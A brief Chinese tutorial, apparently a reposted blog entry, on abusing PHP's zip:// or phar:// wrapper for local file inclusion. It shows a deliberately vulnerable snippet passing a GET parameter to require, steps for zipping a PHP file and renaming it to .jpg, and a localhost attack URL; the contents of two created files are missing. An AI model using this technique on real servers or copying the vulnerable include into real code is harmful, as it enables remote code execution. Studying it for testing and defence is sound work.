利用zip(或者phar)协议进行本地文件包含

1.测试代码

$include_file=$_GET[include_file];

if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" )

{

    require( $include_file );

}

2.测试步骤

以下测试在php5.2.17、php5.6.27版本测试不成功, 

(1)新建zip.php 文件,写入如下内容

(2)在与zip.php 同目录下新建一个1.php文件,写入如下

(3)压缩成1.zip,然后再将1.zip修改成1.jpg(根据实际情况判断是否修改)

(4)在浏览器中输入    http://127.0.0.1/test/zip.php?include_file=zip://1.jpg%231.php,文件成功包含

ps:%23的url解码为#,但是却不能直接输入# 

http://127.0.0.1/test/zip.php?include_file=zip://1.zip%231.php

参考:https://www.jianshu.com/p/4d03a6b83330

           https://www.cnblogs.com/devi1/p/13486352.html

你可能感兴趣的:(利用zip(或者phar)协议进行本地文件包含)